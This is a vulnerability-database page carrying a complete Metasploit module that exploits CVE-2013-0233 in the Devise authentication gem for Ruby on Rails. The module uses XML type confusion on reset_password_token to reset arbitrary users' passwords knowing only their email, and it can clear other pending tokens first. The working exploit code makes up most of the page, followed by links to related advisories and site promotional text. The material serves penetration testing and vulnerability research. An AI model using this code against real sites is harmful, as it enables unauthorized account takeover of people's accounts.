Lucene search
K

Ruby on Rails Devise Authentication Password Reset

🗓️ 11 Feb 2013 03:10:00Reported by joernchen, jjarmocType 
metasploit
 metasploit
🔗 www.rapid7.com👁 51 Views

Devise authentication gem vulnerability in Ruby on Rails for password reset exploi

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2013-0233
29 May 201815:50
circl
CVE
CVE-2013-0233
25 Apr 201323:00
cve
Cvelist
CVE-2013-0233
25 Apr 201323:00
cvelist
Debian CVE
CVE-2013-0233
25 Apr 201323:00
debiancve
Github Security Blog
Devise does not properly perform type conversion when performing database queries
24 Oct 201718:33
github
NVD
CVE-2013-0233
25 Apr 201323:55
nvd
Tenable Nessus
openSUSE Security Update : rubygem-devise (openSUSE-SU-2013:0374-1)
13 Jun 201400:00
nessus
OSV
DEBIAN-CVE-2013-0233
25 Apr 201323:55
osv
OSV
GHSA-JXHW-MG8M-2PJ8 Devise does not properly perform type conversion when performing database queries
24 Oct 201718:33
osv
OSV
UBUNTU-CVE-2013-0233
25 Apr 201323:55
osv
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'rexml/element'

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Ruby on Rails Devise Authentication Password Reset',
        'Description' => %q{
          The Devise authentication gem for Ruby on Rails is vulnerable
          to a password reset exploit leveraging type confusion.  By submitting XML
          to rails, we can influence the type used for the reset_password_token
          parameter.  This allows for resetting passwords of arbitrary accounts,
          knowing only the associated email address.

          This module defaults to the most common devise URIs and response values,
          but these may require adjustment for implementations which customize them.

          Affects Devise < v2.2.3, 2.1.3, 2.0.5 and 1.5.4 when backed by any database
          except PostgreSQL or SQLite3. Tested with v2.2.2, 2.1.2, and 2.0.4 on Rails
          3.2.11. Patch applied to Rails 3.2.12 and 3.1.11 should prevent exploitation
          of this vulnerability, by quoting numeric values when comparing them with
          non numeric values.
        },
        'Author' => [
          'joernchen', # original discovery and disclosure
          'jjarmoc' # metasploit module
        ],
        'License' => MSF_LICENSE,
        'References' => [
          [ 'CVE', '2013-0233'],
          [ 'OSVDB', '89642' ],
          [ 'BID', '57577' ],
          [ 'URL', 'http://blog.plataformatec.com.br/2013/01/security-announcement-devise-v2-2-3-v2-1-3-v2-0-5-and-v1-5-3-released/'],
          [ 'URL', 'http://www.phenoelit.org/blog/archives/2013/02/05/mysql_madness_and_rails/index.html'],
          [ 'URL', 'https://github.com/rails/rails/commit/921a296a3390192a71abeec6d9a035cc6d1865c8' ],
          [ 'URL', 'https://github.com/rails/rails/commit/26e13c3ca71cbc7859cc4c51e64f3981865985d8']
        ],
        'DisclosureDate' => '2013-01-28'
      )
    )

    register_options(
      [
        OptString.new('TARGETURI', [ true, 'The request URI', '/users/password']),
        OptString.new('TARGETEMAIL', [true, 'The email address of target account']),
        OptString.new('OBJECTNAME', [true, 'The user object name', 'user']),
        OptString.new('PASSWORD', [true, 'The password to set']),
        OptBool.new('FLUSHTOKENS', [ true, 'Flush existing reset tokens before trying', true]),
        OptInt.new('MAXINT', [true, 'Max integer to try (tokens beginning with a higher int will fail)', 10])
      ]
    )
  end

  def generate_token(account)
    # CSRF token from GET "/users/password/new" isn't actually validated it seems.

    postdata = "#{datastore['OBJECTNAME']}[email]=#{account}"

    res = send_request_cgi({
      'uri' => normalize_uri(datastore['TARGETURI']),
      'method' => 'POST',
      'data' => postdata
    })

    unless res
      print_error('No response from server')
      return false
    end

    if res.code == 200
      error_text = res.body[%r{<div id="error_explanation">\n\s+(.*?)</div>}m, 1]
      print_error('Server returned error')
      vprint_error(error_text)
      return false
    end

    return true
  end

  def clear_tokens
    count = 0
    status = true
    until (status == false)
      status = reset_one(Rex::Text.rand_text_alpha(rand(5..14)))
      count += 1 if status
    end
    vprint_status("Cleared #{count} tokens")
  end

  def reset_one(password, report = false)
    (0..datastore['MAXINT']).each do |int_to_try|
      encode_pass = REXML::Text.new(password).to_s

      xml = ''
      xml << "<#{datastore['OBJECTNAME']}>"
      xml << "<password>#{encode_pass}</password>"
      xml << "<password_confirmation>#{encode_pass}</password_confirmation>"
      xml << "<reset_password_token type=\"integer\">#{int_to_try}</reset_password_token>"
      xml << "</#{datastore['OBJECTNAME']}>"

      res = send_request_cgi({
        'uri' => normalize_uri(datastore['TARGETURI']),
        'method' => 'PUT',
        'ctype' => 'application/xml',
        'data' => xml
      })

      unless res
        print_error('No response from server')
        return false
      end

      case res.code
      when 200
        # Failure, grab the error text
        # May need to tweak this for some apps...
        error_text = res.body[%r{<div id="error_explanation">\n\s+(.*?)</div>}m, 1]
        if report && (error_text !~ /token/)
          print_error('Server returned error')
          vprint_error(error_text)
          return false
        end
      when 302
        # Success!
        return true
      else
        print_error("ERROR: received code #{res.code}")
        return false
      end
    end

    print_error("No active reset tokens below #{datastore['MAXINT']} remain. Try a higher MAXINT.") if report
    return false
  end

  def run
    # Clear outstanding reset tokens, helps ensure we hit the intended account.
    if datastore['FLUSHTOKENS']
      print_status('Clearing existing tokens...')
      clear_tokens
    end
    # Generate a token for our account
    print_status("Generating reset token for #{datastore['TARGETEMAIL']}...")
    status = generate_token(datastore['TARGETEMAIL'])
    if status == false
      print_error('Failed to generate reset token')
      return
    end
    print_good('Reset token generated successfully')

    # Reset a password.  We're racing users creating other reset tokens.
    # If we didn't flush, we'll reset the account with the lowest ID that has a token.
    print_status("Resetting password to \"#{datastore['PASSWORD']}\"...")
    status = reset_one(datastore['PASSWORD'], true)
    status ? print_good('Password reset worked successfully') : print_error('Failed to reset password')
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation